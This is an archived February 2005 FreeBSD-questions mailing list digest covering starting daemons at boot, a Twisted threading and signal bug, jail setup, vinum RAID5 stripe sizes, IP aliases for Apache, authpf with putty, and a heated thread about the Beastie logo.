freebsd-questions@FreeBSD.org List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 19:36:35 -0000 --0lnxQi9hkpPO77W3 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline On 02/09/05 08:32 PM, peter.lidell@post.dk sat at the `puter and typed: > Hello, > > I have installed apache and spamd from source and would like for them to start on bootup. How do I do that? (there are no .sh scripts for them in /usr/local/etc/rc.d) You really need to install them from the ports to get that done for you. Keep in mind that for some, you'll also need to put an enabler in /etc/rc.conf, so watch the output after the port is installed. BTW, any time there's a port for an application, it is generally recommended that you use the port. They are usually much easier to install, upgrade, and if you wish, remove. Good luck Lou -- Louis LeBlanc FreeBSD-at-keyslapper-DOT-net Fully Funded Hobbyist, KeySlapper Extrordinaire :) Please send off-list email to: leblanc at keyslapper d.t net Key fingerprint = C5E7 4762 F071 CE3B ED51 4FB8 AF85 A2FE 80C8 D9A2 QOTD: "I only touch base with reality on an as-needed basis!" --0lnxQi9hkpPO77W3 Content-Type: application/pgp-signature Content-Disposition: inline -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.4.0 (FreeBSD) iD8DBQFCCmZ1r4Wi/oDI2aIRAiXvAJ9VOWyhRBByg7MqDTFiW202Q7/n7QCeNn1n hg8uvtcuNPnx5IX5ZOyeMVM= =LBid -----END PGP SIGNATURE----- --0lnxQi9hkpPO77W3-- From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 19:39:16 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6131B16A4CE for ; Wed, 9 Feb 2005 19:39:16 +0000 (GMT) Received: from ptb-relay01.plus.net (ptb-relay01.plus.net [212.159.14.212]) by mx1.FreeBSD.org (Postfix) with ESMTP id 22E5943D3F for ; Wed, 9 Feb 2005 19:39:16 +0000 (GMT) (envelope-from marko@freebsd.org) Received: from movens.plus.com ([80.229.231.20] helo=[127.0.0.1]) by ptb-relay01.plus.net with esmtp (Exim) id 1CyxgB-000Oyl-0K; Wed, 09 Feb 2005 19:39:15 +0000 Message-ID: <420A667F.7000303@freebsd.org> Date: Wed, 09 Feb 2005 19:37:35 +0000 From: Mark Ovens User-Agent: Mozilla Thunderbird 7.0 (Windows/20050209) MIME-Version: 1.0 To: peter.lidell@post.dk References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Antivirus: avast! (VPS 0506-0, 08/02/2005), Outbound message X-Antivirus-Status: Clean cc: freebsd-questions@freebsd.org Subject: Re: start of daemons X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 19:39:16 -0000 peter.lidell@post.dk wrote: > Hello, > > I have installed apache and spamd from source and would like for them > to start on bootup. How do I do that? (there are no .sh scripts for > them in /usr/local/etc/rc.d) > For apache add ''apache_enable="YES"'' to /etc/rc.conf There should be apache.sh in /usr/local/etc/rc.d - the port installs it. How did you install apache? Should be a similar method for spamd. Mark --- avast! Antivirus: Outbound message clean. Virus Database (VPS): 0506-0, 08/02/2005 Tested on: 09/02/2005 19:37:36 avast! - copyright (c) 2000-2004 ALWIL Software. http://www.avast.com From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 19:53:24 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F31C416A4CE for ; Wed, 9 Feb 2005 19:53:23 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.194]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0181A43D3F for ; Wed, 9 Feb 2005 19:53:23 +0000 (GMT) (envelope-from snacktime2@gmail.com) Received: by wproxy.gmail.com with SMTP id 69so1134995wra for ; Wed, 09 Feb 2005 11:53:17 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=B4WG3SNDrhPXxAPTg/m++MzEvXYwNSzseyraKG/6XWnifSbHChlIvpDZLjMlw2Xigd+c6VgSHuFf3VUAaSTVRXhIkJaIuLAZr6upHjCCKsGhuVpnCn7h2fPC8p8S4hhMBsJrHV0v8609rym0wEkgaalcQN1XIduwOr85rms6yNQ= Received: by 10.54.37.72 with SMTP id k72mr118981wrk; Wed, 09 Feb 2005 11:46:36 -0800 (PST) Received: by 10.54.40.24 with HTTP; Wed, 9 Feb 2005 11:46:36 -0800 (PST) Message-ID: <21fe04a805020911461b293cf8@mail.gmail.com> Date: Wed, 9 Feb 2005 11:46:36 -0800 From: Payment Online To: FreeBSD Questions Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: Thread/Signal problem with threaded python app on 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Payment Online List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 19:53:24 -0000 I have a client/server application written in python/twisted and on freebsd 5.3 the server won't shut down correctly with SIGINT or SIGTERM, instead requiring a SIGKILL. The twist is that if I send the server a signal, it will shut down on the next request from the client. In that case it shuts down immediately when the client connects and closes the connection before it's fully established. The server will also shut down correctly if it hasn't yet accepted any connections from a client. This is on freebsd 5.3-release-p2 with python 2.4 and twisted both installed from ports. I am using the default libpthreads and python is compiled to use threads. I tested it on Debian (sarge) and the signals work fine. It's like there is some sort of event loop that isn't working correctly. Freebsd is obviously getting the signal, but it doesn't act on it until another request comes in from the client. Also for those that aren't familiar with twisted this application opens a thread for every request. Below is some simple code that will run if you have twisted. Sorry I don't have a more simple test case, but I'm fairly new to python (and threads), and writing something from scratch would take a while. Server (save server to test.tac and start with twistd -noy test.tac) --------------------------------------------------- from twisted.application import service,internet from twisted.internet.protocol import Protocol, Factory from twisted.internet import defer, reactor from twisted.python import threadable from twisted.internet import threads from twisted.python import log threadable.init(1) import sys class ProcessTransaction: def Do(self,data): return 'Done' ### Protocol Implementation class OT(Protocol): def dataReceived(self, data): """As soon as any data is received, process it in a thread.""" reactor.callLater(0, self.Start,data) def PrintData(self,data): self.transport.write("%s\r\n" % data) self.transport.loseConnection() def Start(self,data): c = ProcessTransaction() d = threads.deferToThread(c.Do,data) d.addCallback(self.PrintData) d.addErrback(log.err) application = service.Application("otransact") OTService = service.IServiceCollection(application) OTfactory = Factory() OTfactory.protocol = OT OTServer = internet.TCPServer(8000, OTfactory) OTServer.setServiceParent(OTService) Client (just run as python test.py) -------------------------------------------------------------- import sys import time from twisted.internet.protocol import ClientFactory from twisted.protocols.basic import LineReceiver from twisted.internet import reactor class EchoClient(LineReceiver): end="GoodBye" def connectionMade(self): self.sendLine("Testing") def connectionLost(self, reason): print 'connection lost (protocol)' reactor.stop() def lineReceived(self, line): print "receive:", line self.transport.loseConnection() class EchoClientFactory(ClientFactory): protocol = EchoClient def clientConnectionFailed(self, connector, reason): print 'connection failed:', reason.getErrorMessage() reactor.stop() def clientConnectionLost(self, connector, reason): print 'connection lost:', reason.getErrorMessage() reactor.stop() def main(): factory = EchoClientFactory() reactor.connectTCP('localhost', 8000, factory) reactor.run() if __name__ == '__main__': main() From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 19:53:32 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 3FD9216A4CE for ; Wed, 9 Feb 2005 19:53:32 +0000 (GMT) Received: from wproxy.gmail.com (wproxy.gmail.com [64.233.184.200]) by mx1.FreeBSD.org (Postfix) with ESMTP id 6D47943D3F for ; Wed, 9 Feb 2005 19:53:31 +0000 (GMT) (envelope-from garciarojas@gmail.com) Received: by wproxy.gmail.com with SMTP id 69so1135010wra for ; Wed, 09 Feb 2005 11:53:21 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:in-reply-to:mime-version:content-type:content-transfer-encoding:references; b=KSXw32Y3O4xc8ETunVoYsw6qu0SnZptLe9EYj+BQHosNtY2KQ6zsi3FYulazMb4VXmJvKpVtPd2NWy7ti8TCvY7WdLFNn6EDMe3F2IuFsnWVt1uDjSMI1/YFhegL8UtP8NfyNxKh2CK17dXrEC3J7X0xjfLAwLrahij4cOlTAEU= Received: by 10.54.37.28 with SMTP id k28mr246301wrk; Wed, 09 Feb 2005 11:53:21 -0800 (PST) Received: by 10.54.18.49 with HTTP; Wed, 9 Feb 2005 11:53:21 -0800 (PST) Message-ID: <397b2cad0502091153798fe7ce@mail.gmail.com> Date: Wed, 9 Feb 2005 13:53:21 -0600 From: Guillermo Garcia-Rojas To: freebsd-questions@freebsd.org In-Reply-To: <20050209193447.BE5B343D1D@mx1.FreeBSD.org> Mime-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable References: <420A6465.30402@sbcglobal.net> <20050209193447.BE5B343D1D@mx1.FreeBSD.org> Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Guillermo Garcia-Rojas List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 19:53:32 -0000 I think we all are happy with beastie, there is no reason to change it, if some idiots think it's evil, that's their problem. I hope no one sends a new logo for the contest, and if what FreeBSD Project wants is a new "FreeBSD" type of font, or style, then do it, but don't blow beastie away. It would be better to give beastie a BSD license :) On Wed, 9 Feb 2005 20:29:18 +0100, Oliver Leitner wrote: > "if we dont take care of the little things around us, what right do we ha= ve > to be upset on the bigger ones?" >=20 > On Wednesday 09 February 2005 20:28, sp0ng3b0b wrote: > > Charles-Andr=E9 Landemaine wrote: > > > This will sign the death of FreeBSD. > > > Oh please, wake me up, it's a nightmare!!! > > > > Come on now, is changing the logo ALL that BAD? Companies and > > organizations do it all the time. Who cares? It's not like a new logo > > will introduce new bugs and vulnerabilities in your OS! > > > > Change is good. Time to try something different. I think some folks > > should relax and not get too upset. There are worse things going on in > > the world... > > > > ...my 2 cents... > > _______________________________________________ > > freebsd-questions@freebsd.org mailing list > > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > > To unsubscribe, send any mail to > > "freebsd-questions-unsubscribe@freebsd.org" >=20 > -- > By reading this mail you agree to the following: >=20 > using or giving out the email address and any > other info of the author of this email is strictly forbidden. > By acting against this agreement the author of this mail > will take possible legal actions against the abuse. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to "freebsd-questions-unsubscribe@freebsd.o= rg" >=20 --=20 --- Guillermo Garc=EDa Rojas Covarrubias Director General=20 SoloBSD http://www.solobsd.org From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 20:04:40 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5439D16A4CE for ; Wed, 9 Feb 2005 20:04:40 +0000 (GMT) Received: from ns1.tiadon.com (SMTP.tiadon.com [69.27.132.161]) by mx1.FreeBSD.org (Postfix) with ESMTP id 0C91A43D45 for ; Wed, 9 Feb 2005 20:04:40 +0000 (GMT) (envelope-from kdk@daleco.biz) Received: from [69.27.131.0] ([69.27.131.0]) by ns1.tiadon.com with Microsoft SMTPSVC(6.0.3790.211); Wed, 9 Feb 2005 14:04:38 -0600 Message-ID: <420A6CD4.5050807@daleco.biz> Date: Wed, 09 Feb 2005 14:04:36 -0600 From: Kevin Kinsey User-Agent: Mozilla/5.0 (X11; U; FreeBSD i386; en-US; rv:1.7.3) Gecko/20041210 X-Accept-Language: en-us, en MIME-Version: 1.0 To: peter.lidell@post.dk References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-OriginalArrivalTime: 09 Feb 2005 20:04:38.0721 (UTC) FILETIME=[95B85310:01C50EE2] cc: freebsd-questions@freebsd.org Subject: Re: start of daemons X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 20:04:40 -0000 peter.lidell@post.dk wrote: >Hello, > >I have installed apache and spamd from source and would like for them to start on bootup. How do I do that? (there are no .sh scripts for them in /usr/local/etc/rc.d) > >Thanks for your time. > >Regards > >Peter > > Scripts are great, but in a pinch you can add entries to root's crontab using "@reboot" in place of the usual fields for min-hour-day and friends... I've used this before when installing from source: @reboot /usr/local/sbin/apachectl start Kevin Kinsey From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 20:06:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 0CC1B16A4CE for ; Wed, 9 Feb 2005 20:06:10 +0000 (GMT) Received: from spatula.dreamhost.com (spatula.dreamhost.com [66.33.205.9]) by mx1.FreeBSD.org (Postfix) with ESMTP id D88C543D54 for ; Wed, 9 Feb 2005 20:06:09 +0000 (GMT) (envelope-from lists@tntluoma.com) Received: from [192.168.1.2] (adsl-68-252-33-33.dsl.wotnoh.ameritech.net [68.252.33.33]) by spatula.dreamhost.com (Postfix) with ESMTP id 14B8C17D01C; Wed, 9 Feb 2005 12:06:07 -0800 (PST) In-Reply-To: <8ca932905020910563139f7a4@mail.gmail.com> References: <420A5AF3.6030903@freebsd.org> <8ca932905020910563139f7a4@mail.gmail.com> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <69b4e2dd170752e597e235bd862e75e8@tntluoma.com> Content-Transfer-Encoding: 7bit From: Timothy Luoma Date: Wed, 9 Feb 2005 15:06:05 -0500 To: Chad Morland X-Mailer: Apple Mail (2.619.2) cc: FreeBSD Mailing List Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 20:06:10 -0000 On Feb 9, 2005, at 1:56 PM, Chad Morland wrote: > On Wed, 09 Feb 2005 18:48:19 +0000, Mark Ovens > wrote: >> See the thread "The FreeBSD Project is announcing a public competition >> for the new logo design. ????" in -advocacy - I've already replied >> with >> my views on the subject, along the same lines as your comments. > > I'm not subscribed to -advocacy can you provide me with an archive > link to this thread in question? I wasn't able to find it based on the > subject you provided. Put "freebsd advocacy" into Google, click on the link for the list, click on the link for the archive, and check out February's posts. There are a total of 4 posts listed, 3 of them with the Subject: The FreeBSD Project is announcing a public competition for the new logo design. ???? How hard was that ? From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 20:12:09 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 34B2B16A4CE for ; Wed, 9 Feb 2005 20:12:09 +0000 (GMT) Received: from sccmmhc91.asp.att.net (sccmmhc91.asp.att.net [204.127.203.211]) by mx1.FreeBSD.org (Postfix) with ESMTP id 70E8543D2F for ; Wed, 9 Feb 2005 20:12:08 +0000 (GMT) (envelope-from josh@tcbug.org) Received: from twinmp (12-218-40-24.client.mchsi.com[12.218.40.24]) by sccmmhc91.asp.att.net (sccmmhc91) with ESMTP id <20050209201207m9100ovabne>; Wed, 9 Feb 2005 20:12:07 +0000 From: Josh Paetzel To: questions@freebsd.org Date: Wed, 9 Feb 2005 14:12:06 -0600 User-Agent: KMail/1.7 MIME-Version: 1.0 Content-Disposition: inline Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit Message-Id: <200502091412.06282.josh@tcbug.org> Subject: jail manpage X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 20:12:09 -0000 I've been trying get jails working on my 5.3-RELEASE-p2 machine. I've tried following the instructions in man 8 jail D=/here/is/the/jail cd /usr/src mkdir -p $D make world DESTDIR=$D cd etc make distribution DESTDIR=$D mount_devfs devfs $D/dev cd $D ln -sf dev/null kernel It dies at make world DESTDIR=$D with the following error: cc -0 -pipe -I/usr/obj/usr/src/i386/legacy/usr/include c/usr/src/games/fortune/strfile/strfile.c make: don't know how to make /jail/test/usr/lib/libc.a. Stop ***Error code 2 Stopping /usr/src Surprisingly I found a post to -questions that has the exact same error using the same commands that I did. The thread never does make clear as to whether the poster got it working. 57d710000501131800788ec662@mail.gmail.com I found a tutorial @ http://www.samag.com/documents/s=1151/sam0105d/0105d.htm D=/home/jpaetzel/jail cd /usr/src make hierarchy DESTDIR=$D make obj make depend make all make install DESTDIR=$D cd $D ln -sf dev/null kernel ifconfig fxp0 alias 10.0.0.11 netmask 255.255.255.255 start the jail: jail /home/jpaetzel/jail jail.tcbug.org /bin/sh I'm still unclear on how to start the jail at boot time I put the following into /etc/rc.conf jail_enable="YES" jail_list="vjail" jail_vjail_rootdir="/home/jpaetzel/jail" jail_vjail_hostname="jail.tcbug.org" jail_vjail_ip="10.0.0.11" jail_vjail_exec="/bin/sh /etc/rc" As far as I can tell jail is not starting at boot time. I know I'm sort of rambling (I'm trying to document as I go here) if someone can spot my mistakes I'd appreciate it. :) -- Thanks, Josh Paetzel From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 20:20:19 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 1872516A4CE for ; Wed, 9 Feb 2005 20:20:19 +0000 (GMT) Received: from hub.org (hub.org [200.46.204.220]) by mx1.FreeBSD.org (Postfix) with ESMTP id C4E0D43D31 for ; Wed, 9 Feb 2005 20:20:18 +0000 (GMT) (envelope-from scrappy@hub.org) Received: from localhost (unknown [200.46.204.144]) by hub.org (Postfix) with ESMTP id 8450612A73B; Wed, 9 Feb 2005 16:20:12 -0400 (AST) Received: from hub.org ([200.46.204.220]) by localhost (av.hub.org [200.46.204.144]) (amavisd-new, port 10024) with ESMTP id 38525-08; Wed, 9 Feb 2005 20:20:12 +0000 (GMT) Received: from ganymede.hub.org (blk-224-186-245.eastlink.ca [24.224.186.245]) by hub.org (Postfix) with ESMTP id E75251291F2; Wed, 9 Feb 2005 16:20:11 -0400 (AST) Received: by ganymede.hub.org (Postfix, from userid 1000) id 425BF3A464; Wed, 9 Feb 2005 16:20:13 -0400 (AST) Received: from localhost (localhost [127.0.0.1]) by ganymede.hub.org (Postfix) with ESMTP id 415303A3AB; Wed, 9 Feb 2005 16:20:13 -0400 (AST) Date: Wed, 9 Feb 2005 16:20:13 -0400 (AST) From: "Marc G. Fournier" To: "Mark A. Garcia" In-Reply-To: <420A5858.6020602@hamletinc.com> Message-ID: <20050209161917.Q94338@ganymede.hub.org> References: <20050208231208.B94338@ganymede.hub.org> <20050208234602.M94338@ganymede.hub.org> <420A5858.6020602@hamletinc.com> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Virus-Scanned: by amavisd-new at hub.org cc: Olivier Nicole cc: freebsd-questions@freebsd.org Subject: Re: vinum in 4.x poor performer? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 20:20:19 -0000 On Wed, 9 Feb 2005, Mark A. Garcia wrote: > Marc G. Fournier wrote: > >> >> Self-followup .. the server config is as follows ... did I do maybe >> mis-configure the array? >> >> # Vinum configuration of neptune.hub.org, saved at Wed Feb 9 00:13:52 2005 >> drive d0 device /dev/da1s1a >> drive d1 device /dev/da2s1a >> drive d2 device /dev/da3s1a >> drive d3 device /dev/da4s1a >> volume vm >> plex name vm.p0 org raid5 1024s vol vm sd name vm.p0.s0 drive d0 plex vm.p0 >> len 142314496s driveoffset 265s plexoffset 0s >> sd name vm.p0.s1 drive d1 plex vm.p0 len 142314496s driveoffset 265s >> plexoffset 1024s >> sd name vm.p0.s2 drive d2 plex vm.p0 len 142314496s driveoffset 265s >> plexoffset 2048s >> sd name vm.p0.s3 drive d3 plex vm.p0 len 142314496s driveoffset 265s >> plexoffset 3072s >> >> bassed on an initial config file that looks like: >> >> neptune# cat /root/raid5 >> drive d0 device /dev/da1s1a >> drive d1 device /dev/da2s1a >> drive d2 device /dev/da3s1a >> drive d3 device /dev/da4s1a >> volume vm >> plex org raid5 512k >> sd length 0 drive d0 >> sd length 0 drive d1 >> sd length 0 drive d2 >> sd length 0 drive d3 >> > It's worth pointing out that your performance on the raid-5 can change for > the better if you avoid having the stripe size be a power of 2. This is > especially true if the (n)umber of disks are a 2^n. I read that somewhere, but then every example shows 256k as being the strip size :( Now, with a 5 drives RAID5 array (which I'll be moving that server to over the next couple of weeks), 256k isn't an issue? or is there something better i should set it to? ---- Marc G. Fournier Hub.Org Networking Services (http://www.hub.org) Email: scrappy@hub.org Yahoo!: yscrappy ICQ: 7615664 From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 20:33:21 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CAA6016A4CE for ; Wed, 9 Feb 2005 20:33:21 +0000 (GMT) Received: from complex.heavybit.com (complex.heavybit.com [216.127.86.87]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7210E43D39 for ; Wed, 9 Feb 2005 20:33:21 +0000 (GMT) (envelope-from ken@rosewoodblues.com) Received: from [10.0.1.2] (c-24-98-140-190.atl.client2.attbi.com [24.98.140.190]) (authenticated) by complex.heavybit.com (8.11.6/8.11.6) with ESMTP id j19KXLl12167 for ; Wed, 9 Feb 2005 12:33:21 -0800 Mime-Version: 1.0 (Apple Message framework v619.2) In-Reply-To: <448y5x36jq.fsf@be-well.ilk.org> References: <094c6888335eff7ca415bc1c475e42bb@rosewoodblues.com> <448y5x36jq.fsf@be-well.ilk.org> Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: Content-Transfer-Encoding: 7bit From: Ken Hawkins Date: Wed, 9 Feb 2005 15:33:19 -0500 To: freebsd-questions@freebsd.org X-Mailer: Apple Mail (2.619.2) Subject: Re: single box handling multiple ips, how? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 20:33:22 -0000 Thanks, I do not know what the 'web1.a.net.' is about, more specifically he .net"." (dot on the end). i took this for the initial setup that was done on the box' initial entry in the /etc/hosts. ok what am i doing... I have apache running on the box and would like to use 3 diffferent IP's to try and keep (somewhat separate) the traffic, logging, etc. for the Virtual Hosts that are running there. ultimately I will have; resolve to -> website 1 resolve to -> website 2 resolve to -> website 3 obviously they will bind to the same box but i would like to have them to separate ip's to ease some maintenance on the box, redirect traffic when needed, blah, blah. I know that I can Name more than one VirtualHost ie; NameVirtualHost ???.???.???.151:80 NameVirtualHost ???.???.???.152:80 NameVirtualHost ???.???.???.153:80 and then the normal VirtualHost directive via IP's but I want to make sure that the box will answer to those ip's when we flip the DNS switch. am i making sense? did i leave anything beyond the bind directive's out? ken; On Feb 9, 2005, at 1:57 PM, Lowell Gilbert wrote: > Ken Hawkins writes: > >> Sorry if this is not quite the place to ask however, if it is not can >> someone point me toward the right resource (on the net) for answers. I >> am >> running FreeBSD on a box with an ethernet; >> ifconfig >> em0: flags=8843 mtu 1500 >> options=1b >> inet ???.???.???.151 netmask 0xffff0000 broadcast >> 10.50.255.255 >> inet6 fe80::230:48ff:fe2c:76e2%em0 prefixlen 64 scopeid 0x1 >> inet ???.???.???.152 netmask 0xffffffff broadcast 10.50.1.152 >> inet ???.???.???.153 netmask 0xffffffff broadcast 10.50.1.153 >> ether 00:30:48:2c:76:e2 >> media: Ethernet 100baseTX >> status: active >> >> the are just our ips. you will notice that .152 and .153 are >> aliases >> and are mapped to external ips via a switch. my question is how can I >> resolve names to the ip aliases on the box? ie >> >> ???.???.???.152 -> a.net >> >> and >> >> ???.???.???.153 -> b.net >> >> is this a /etc/hosts kind of entry? >> >> ???.???.???.152 web1.a.net web1 >> ???.???.???.152 web1.a.net. >> ???.???.???.153 web1.b.net web1 >> ???.???.???.153 web1.b.net. >> >> any help would be greatly appreciated! > > Yes, /etc/hosts will be the place to put those translations (for the > full hostnames -- you don't want the "web1.a.net." entries) if you > want that machine to know about them. If you explained the desired end > result, we might be able to give you more help. > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 20:33:38 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AFE9716A4CE for ; Wed, 9 Feb 2005 20:33:38 +0000 (GMT) Received: from fw.farid-hajji.net (fw.farid-hajji.net [213.146.115.42]) by mx1.FreeBSD.org (Postfix) with ESMTP id 255D543D41 for ; Wed, 9 Feb 2005 20:33:38 +0000 (GMT) (envelope-from cpghost@cordula.ws) Received: from fw.farid-hajji.net (net4801-2 [192.168.254.1]) by fw.farid-hajji.net (Postfix) with ESMTP id 723174AC71; Wed, 9 Feb 2005 21:29:23 +0100 (CET) Date: Wed, 9 Feb 2005 21:29:22 +0100 From: cpghost@cordula.ws To: sp0ng3b0b Message-ID: <20050209202922.GA18393@fw.farid-hajji.net> References: <420A6465.30402@sbcglobal.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <420A6465.30402@sbcglobal.net> User-Agent: Mutt/1.5.6i cc: Charles-Andr? Landemaine cc: freebsd-questions@FreeBSD.org Subject: Re: Please don't change Beastie to another crap logo such as NetBSD!!! X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 20:33:38 -0000 On Wed, Feb 09, 2005 at 11:28:37AM -0800, sp0ng3b0b wrote: > Change is good. Time to try something different. I think some folks > should relax and not get too upset. There are worse things going on in > the world... Nope. Beastie is a way of life. I'd be quite upset if it were dropped for whatever reason. It is so intimately tied to FreeBSD that it would be a PR disaster if it were to be changed. NetBSD never had a real logo, and it's their choice (though IMHO not a very good one; even a toaster would have been better!), but changing FreeBSD's most widely recognized brand would be just plain stupid. Imagine Linux dropping Tux for some meanlingless, lifeless logo? Hands off from our beloved Beastie! > ...my 2 cents... Regards, -cpghost. -- Cordula's Web. http://www.cordula.ws/ From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 20:49:42 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id AD3DB16A4CE for ; Wed, 9 Feb 2005 20:49:42 +0000 (GMT) Received: from zephon.secspace.de (zephon.secspace.de [62.75.136.210]) by mx1.FreeBSD.org (Postfix) with ESMTP id 48D0A43D3F for ; Wed, 9 Feb 2005 20:49:42 +0000 (GMT) (envelope-from ml@ps102.de) Received: from [192.168.17.11] (pD95F2CDE.dip.t-dialin.net [217.95.44.222]) by zephon.secspace.de (Postfix) with ESMTP id 1F7456EB29; Wed, 9 Feb 2005 21:49:40 +0100 (CET) Message-ID: <420A776D.80801@ps102.de> Date: Wed, 09 Feb 2005 21:49:49 +0100 From: Volker Kindermann User-Agent: Mozilla Thunderbird 1.0 (X11/20050206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: "Andrew L. Gould" References: <200502090856.16001.algould@datawok.com> In-Reply-To: <200502090856.16001.algould@datawok.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit cc: freebsd-questions@freebsd.org Subject: Re: [OT] easy authpf access from Windows (for non-unix users)? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 09 Feb 2005 20:49:42 -0000 Hi Andrew, > Is anyone running authpf with Windows clients in the network? If so, > how are the Windows clients logging in? What's the easiest mechanism > for this. as Hexren posted, putty is good for doing this. You can configure it so that the user just has to doubleclick the icon and provide the password. As long as the putty session is open, the rules will be active. I have this running for my spouse. -volker From owner-freebsd-questions@FreeBSD.ORG Wed Feb 9 21:02:45 2005 Return-Path: 